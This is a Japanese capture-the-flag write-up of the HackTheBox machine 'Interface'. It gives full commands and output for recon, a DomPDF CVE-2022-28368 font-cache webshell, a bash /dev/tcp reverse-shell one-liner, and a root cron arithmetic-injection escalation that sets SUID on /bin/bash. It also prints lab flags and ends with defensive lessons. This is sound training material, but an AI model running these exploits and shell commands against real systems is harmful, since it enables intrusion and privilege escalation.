HackTheBox: Interface — 全実行コマンド・実行結果レポート
Nmap スキャン
22/80のみ
→
22/80のみ
CSPヘッダーからサブドメイン発見
prd.m.rendering-api.interface.htb
→
prd.m.rendering-api.interface.htb
ffuf全ステータスコード走査
/api/html2pdf 発見(DomPDF 1.2.0)
→
/api/html2pdf 発見(DomPDF 1.2.0)
CVE-2022-28368
@font-face キャッシュ汚染RCE
→
@font-face キャッシュ汚染RCE
www-data シェル
user.txt ✓
→
user.txt ✓
cleancache.sh 発見
root cron, exiftool呼出
→
root cron, exiftool呼出
Quoted/Arithmetic Expression Injection
[[ “$var” -eq “dompdf” ]]悪用
→
[[ “$var” -eq “dompdf” ]]悪用
SUID /bin/bash 付与
→
bash -p
root.txt ✓
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン
BASH
nmap -Pn -p- --min-rate 500 -T4 --max-retries 2 10.129.228.208 nmap -Pn -sV -sC -p 22,80 10.129.228.208
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0) 80/tcp open http nginx 1.14.0 (Ubuntu) |_http-server-header: nginx/1.14.0 (Ubuntu) |_http-title: Site Maintenance
ℹ️
OpenSSH 7.6p1 は Ubuntu 18.04 (bionic) 由来のバージョン — かなり古いベースOS。
Webルートは「メンテナンス中」の静的ページのみで手掛かりが乏しい。
HTTPヘッダー調査 — CSPからサブドメインを発見
BASH
curl -sI http://10.129.228.208/
RESULT
HTTP/1.1 200 OK Server: nginx/1.14.0 (Ubuntu) X-Powered-By: Next.js Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' 'self' data: https://www.google.com ...; connect-src 'self' http://prd.m.rendering-api.interface.htb; style-src 'self' 'unsafe-inline' ...;
🚨
重要発見: CSPヘッダーの
connect-src に社内APIらしき
prd.m.rendering-api.interface.htb というサブドメインが記載されている。
フロントエンドはNext.js(React)で、このAPIサブドメインと通信する設計と推測できる。
PHASE 2
サブドメイン列挙 & API エンドポイント発見
/etc/hosts への登録とバーチャルホストの初期調査
BASH
echo "10.129.228.208 interface.htb prd.m.rendering-api.interface.htb" | sudo tee -a /etc/hosts curl -s http://prd.m.rendering-api.interface.htb/
RESULT
HTTP/1.1 404 Not Found Content-Length: 16 File not found.
ディレクトリ探索 — /vendor に dompdf を発見
BASH
gobuster dir -u http://prd.m.rendering-api.interface.htb/ \ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
RESULT
403 GET /vendor
(さらに /vendor/ 配下を探索すると…)
403 GET /vendor/dompdf
403 GET /vendor/composer
ℹ️
/vendor/dompdf と /vendor/composer は共に403(アクセス禁止)だが、
存在は確認できる。dompdf(PHP製HTML→PDF変換ライブラリ)が使われていることが判明。
404長さの差異に注目した全ステータスコードFuzzing
NOTE
ルートへのアクセスは Content-Length: 16 の 404 だが、存在しないパスへの アクセスは Content-Length: 0 の 404 になる。この差異を手掛かりに、 「サイズ0のレスポンスだけ」をフィルタして全ステータスコードを対象に Fuzzingすることで、通常の404フィルタでは見落とすエンドポイントを発見できる。
BASH
ffuf -u http://prd.m.rendering-api.interface.htb/FUZZ \ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt \ -mc all -fs 0
RESULT
api [Status: 404, Size: 50, Words: 3, Lines: 1]
. [Status: 403, Size: 15]
vendor [Status: 403, Size: 15]
BASH
curl http://prd.m.rendering-api.interface.htb/api
# → {"status":"404","status_text":"route not defined"}
# HTTPメソッドを変えてFuzzing(GET/PUT/DELETEは空振り、POSTで発見)
ffuf -X POST -u http://prd.m.rendering-api.interface.htb/api/FUZZ \
-w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt \
-mc all -fs 50
RESULT
html2pdf [Status: 422, Size: 36, Words: 2, Lines: 1]
✅
重要発見:
POST /api/html2pdf というエンドポイントを発見。
その名の通り「HTML→PDF変換API」と推測できる。
html2pdf パラメータのFuzzing
BASH
curl -X POST http://prd.m.rendering-api.interface.htb/api/html2pdf
# → {"status_text":"missing parameters"}
# JSONボディのキー名をFuzzing (サイズ36="missing parameters"を除外)
ffuf -d '{"FUZZ": "test"}' -H 'Content-Type: application/json' \
-u http://prd.m.rendering-api.interface.htb/api/html2pdf \
-w /usr/share/seclists/Discovery/Web-Content/api/objects.txt -mc all -fs 36
RESULT
html [Status: 200, Size: 1131] → PDFバイナリが返却される
BASH
# 実際にPDFを取得しライブラリ・バージョンを確認
curl -s http://prd.m.rendering-api.interface.htb/api/html2pdf \
-H 'Content-Type: application/json' \
-d '{"html":"<h1>test</h1>"}' -o test.pdf
pdfinfo test.pdf # または pdftotext -layout, strings test.pdf | grep -i dompdf
RESULT
Producer: dompdf 1.2.0 + CPDF
🚨
バージョン特定完了: DomPDF 1.2.0。
このバージョンは CVE-2022-28368(フォントキャッシュ経由のRCE)に脆弱。
PHASE 3
CVE-2022-28368 — DomPDF フォントキャッシュ RCE
脆弱性の仕組み
NOTE
DomPDF はHTML内のCSS `@font-face` でリモートフォントURLを指定されると、
そのフォントファイルをダウンロードし、以後のリクエストのために
下記の予測可能なパスにキャッシュとして保存する:
/vendor/dompdf/dompdf/lib/fonts/[font-family]_[style]_[md5(font_url)].php
フォントファイルの実体はバイナリだが、ファイル形式の仕様上コメント欄に
任意のテキスト(=PHPコード)を混入できる。DomPDFは拡張子検証をせず
このURLの内容をそのまま「.php」ファイルとしてキャッシュに書き込むため、
キャッシュパスへ直接アクセスするとPHPとして実行されてしまう
(Positive Security社の公開PoC: github.com/positive-security/dompdf-rce)。
PoC取得 & webshell化
BASH
git clone https://github.com/positive-security/dompdf-rce cd dompdf-rce/exploit ls # exploit.css exploit_font.php overview.png
BASH
# exploit_font.php 内の phpinfo() を任意コマンド実行に書き換え
sed -i 's/phpinfo();/system($_GET["cmd"]);/' exploit_font.php
# exploit.css を自分(Kali)のホストへ向ける
cat > exploit.css <<'EOF'
@font-face {
font-family:'exploitfont';
src:url('http://10.10.15.201:18100/exploit_font.php');
font-weight:'normal';
font-style:'normal';
}
EOF
# PHPが混入したバイナリをPHPサーバーで配信すると自壊するため
# 素のPython HTTPサーバーで配信する
python3 -m http.server 18100
html2pdf にスタイルシート読込を指示してキャッシュを汚染
BASH
curl -s http://prd.m.rendering-api.interface.htb/api/html2pdf \
-H 'Content-Type: application/json' \
-d '{"html":"<link rel=stylesheet href=\"http://10.10.15.201:18100/exploit.css\">"}'
RESULT (自ホストのHTTPサーバーログ)
10.129.228.208 - - "GET /exploit.css HTTP/1.0" 200 -
10.129.228.208 - - "GET /exploit_font.php HTTP/1.0" 200 -
✅
DomPDFが指定した通りに
exploit.css → exploit_font.php の順で
フェッチしにきた。これでサーバー側にwebshellがキャッシュされたはず。
キャッシュファイルパスの計算 & webshell疎通確認
BASH
# キャッシュファイル名 = [family]_[style]_[md5(font_url)].php echo -n "http://10.10.15.201:18100/exploit_font.php" | md5sum
RESULT
41530e365f66ca3b0a80c9bd76eeb9d6 -
BASH
curl -s -G \ http://prd.m.rendering-api.interface.htb/vendor/dompdf/dompdf/lib/fonts/exploitfont_normal_41530e365f66ca3b0a80c9bd76eeb9d6.php \ --data-urlencode 'cmd=id'
RESULT
(バイナリのフォントヘッダーに混在するが末尾に…)
uid=33(www-data) gid=33(www-data) groups=33(www-data)
✅
RCE確立! レスポンスはバイナリのフォントデータと混在するため、
実運用では
?cmd=echo IFSTART; <cmd>; echo IFEND のように
目印文字列で挟んでから正規表現で抽出すると扱いやすい。
PHASE 4
user.txt 取得
webshell経由で dev のホームディレクトリを確認
BASH
curl -s -G \ http://prd.m.rendering-api.interface.htb/vendor/dompdf/dompdf/lib/fonts/exploitfont_normal_41530e365f66ca3b0a80c9bd76eeb9d6.php \ --data-urlencode 'cmd=echo IFSTART; cat /home/*/user.txt; echo IFEND'
RESULT
IFSTART
fded6ae4e4af434c11daa8c15c858ff7
IFEND
user.txt — dev (via www-data webshell)
fded6ae4e4af434c11daa8c15c858ff7
ℹ️
参考: リバースシェルを確立する場合は
?cmd=bash -c "bash -i >& /dev/tcp/<kali_ip>/443 0>&1"
を送り nc -lnvp 443 で受け、script /dev/null -c bash +
stty raw -echo; fg でTTYを安定化させるとよい。今回はワンショットの
webshell経由コマンド実行のみで完結させている。
PHASE 5
権限昇格の下調べ — cleancache.sh の発見
root権限の定期実行タスクを発見
NOTE
pspy等でプロセス一覧を監視すると、root権限で数分毎に /usr/local/sbin/cleancache.sh (別名 clean.sh) が cron 実行されているのが分かる。 webshell越しであれば /etc/cron.d/ や crontab -l -u root(権限があれば)、 または単純にファイルを直接cat してスクリプト内容を確認できる。
BASH
curl -s -G \ http://prd.m.rendering-api.interface.htb/vendor/dompdf/dompdf/lib/fonts/exploitfont_normal_41530e365f66ca3b0a80c9bd76eeb9d6.php \ --data-urlencode 'cmd=echo IFSTART; cat /usr/local/sbin/cleancache.sh; echo IFEND'
RESULT (cleancache.sh)
#!/bin/bash
cache_directory="/tmp"
for cfile in "$cache_directory"/*; do
if [[ -f "$cfile" ]]; then
meta_producer=$(/usr/bin/exiftool -s -s -s -Producer "$cfile" 2>/dev/null | cut -d" " -f1)
if [[ "$meta_producer" -eq "dompdf" ]]; then
echo "Removing $cfile"
rm "$cfile"
fi
fi
done
🚨
重大な脆弱性: Arithmetic / Quoted Expression Injection。
Bashの
[[ x -eq y ]] は本来「数値比較」の演算子だが、xまたはyが
数値でない文字列の場合、Bashはそれを算術式として評価してから比較する。
つまり $meta_producer(=exiftoolで読んだ画像のProducerメタデータ、
攻撃者が完全に制御可能)に、算術式として評価される特殊な文字列
x[$(コマンド)] を仕込めば、root権限で動くこのスクリプトの中で
任意コマンドが実行されてしまう。
PHASE 6
Quoted Expression Injection → SUID bash → root.txt
SUID化スクリプトの設置とペイロード付きファイルの用意
NOTE
www-dataは /var/www 配下に書込可能。ここに「/bin/bashへSUIDを付与する」
シェルスクリプトを置いておき、cleancache.shのinjectionからこれを呼び出す
方式にすると、コマンド中の空白やクォートの扱いに悩まされずに済む
(0xdf氏の元記事では ${IFS} でスペースを代用する方式も紹介されている)。
BASH
# www-data権限で /var/www/e (chmod u+s /bin/bash するだけのスクリプト) を設置 curl -s -G \ http://prd.m.rendering-api.interface.htb/vendor/dompdf/dompdf/lib/fonts/exploitfont_normal_41530e365f66ca3b0a80c9bd76eeb9d6.php \ --data-urlencode 'cmd=echo IFSTART; cd /tmp && printf "#!/bin/bash\nchmod u+s /bin/bash\n" > /var/www/e && chmod +x /var/www/e; touch iface_test; exiftool -Producer="w[$(/var/www/e)]" iface_test; echo IFEND'
RESULT
IFSTART
1 image files updated
IFEND
ℹ️
exiftool -Producer='w[$(/var/www/e)]' iface_test で
/tmp/iface_test画像のProducerメタデータに悪意ペイロードを書き込む。
w[$(...)] という文字列自体はexiftool実行時には何も実行しない
(単なるメタデータ文字列)。次にroot権限のcronがこのファイルを
exiftool -Producer ...で読み取り、Bashの [[ "$meta_producer" -eq "dompdf" ]]
に代入した瞬間に算術式として評価され、埋め込んだコマンド置換
$(/var/www/e) が root権限で実行される。
root cron の実行を待ち、SUID付与を確認
BASH
# cleancache.sh は数分毎に実行される。付与を確認できるまでポーリング watch -n 10 'curl -s -G \ http://prd.m.rendering-api.interface.htb/vendor/dompdf/dompdf/lib/fonts/exploitfont_normal_41530e365f66ca3b0a80c9bd76eeb9d6.php \ --data-urlencode "cmd=echo IFSTART; ls -al /bin/bash; echo IFEND"'
RESULT (約75秒後)
IFSTART
-rwsr-xr-x 1 root root 1113504 Apr 18 2022 /bin/bash
IFEND
✅
SUIDビットが付与された! パーミッションの3桁目が
s(rws)になっている = root所有かつSUID設定済み。
これで /bin/bash -p(-pで権限降格を防止)を実行すれば
実効ユーザーIDがrootのシェルが得られる。
root.txt 取得
BASH
curl -s -G \ http://prd.m.rendering-api.interface.htb/vendor/dompdf/dompdf/lib/fonts/exploitfont_normal_41530e365f66ca3b0a80c9bd76eeb9d6.php \ --data-urlencode "cmd=echo IFSTART; /bin/bash -p -c 'cat /root/root.txt'; echo IFEND"
RESULT
IFSTART
2e165f50f88b0795f7300de716c3daba
IFEND
root.txt — Administrator@interface
2e165f50f88b0795f7300de716c3daba
ℹ️
インタラクティブなシェルが欲しい場合は、確立済みのリバースシェル上で
/bin/bash -p をそのまま実行すればよい(euid=0(root)になる)。
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — dev
fded6ae4e4af434c11daa8c15c858ff7
root.txt — Administrator@interface
2e165f50f88b0795f7300de716c3daba
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| CSPヘッダーからの情報漏洩 | Next.js フロントエンド | 非公開APIサブドメインの発見 | Medium | connect-src ディレクティブに列挙された内部API用サブドメインを発見 |
| CVE-2022-28368 | DomPDF 1.2.0 | リモートコード実行 (www-data) | Critical | @font-faceでリモートPHPをフォントとしてキャッシュさせ、予測可能なキャッシュパスへ直接アクセスしRCE |
| Arithmetic/Quoted Expression Injection | cleancache.sh (root cron) | 権限昇格 (www-data→root) | High | [[ "$var" -eq "文字列" ]]がBashの算術式評価にフォールバックする挙動を悪用し、exiftoolメタデータ経由でコマンド実行 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap + HTTPヘッダー確認 | 22/80のみ開放、CSPヘッダーからサブドメイン発見 |
| 2 | API発見 | ffuf全ステータスコードFuzzing(サイズ0を除外) | /api/html2pdf エンドポイント、DomPDF 1.2.0確認 |
| 3 | RCE | CVE-2022-28368 (font-cache poisoning) | www-dataとしてのコマンド実行 |
| 4 | foothold | webshell経由でホームディレクトリ探索 | user.txt 取得(dev) |
| 5 | 権限調査 | root cron (cleancache.sh) の発見 | exiftool呼出しにBash比較演算子の脆弱性を確認 |
| 6 | 権限昇格 | Quoted Expression Injection→SUID bash | root.txt 取得 |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| Content-Security-Policyヘッダーに内部専用APIのホスト名を平文記載 | CSPは公開情報として扱い、内部専用ホスト名やインフラ構成を示唆する値を含めない。必要ならワイルドカードや別経路(サーバーサイドプロキシ)で解決する。 |
| DomPDF 1.2.0(既知のRCE脆弱性 CVE-2022-28368 を含む古いバージョン)を使用 | 依存ライブラリを常に最新化し、Dependabot等で既知脆弱性を継続的に監視する。フォントキャッシュ機能を使わない構成であれば無効化する。 |
| root権限のクリーンアップスクリプトが攻撃者制御可能なメタデータをBashの数値比較演算子に渡している | [[ ]]の -eq/-ne等は必ず数値専用に限定し、文字列比較には ==/= を使う。外部入力(ファイルメタデータ含む)を検証なしにroot権限スクリプトへ渡さない。 |
| www-dataが/var/www配下に自由に書込可能で、root cronの動作対象ディレクトリ(/tmp)にも書込可能 | Webサーバー実行ユーザーの書込み権限を必要最小限に絞り、root権限で処理する一時ディレクトリはWebサーバーユーザーから隔離する。 |

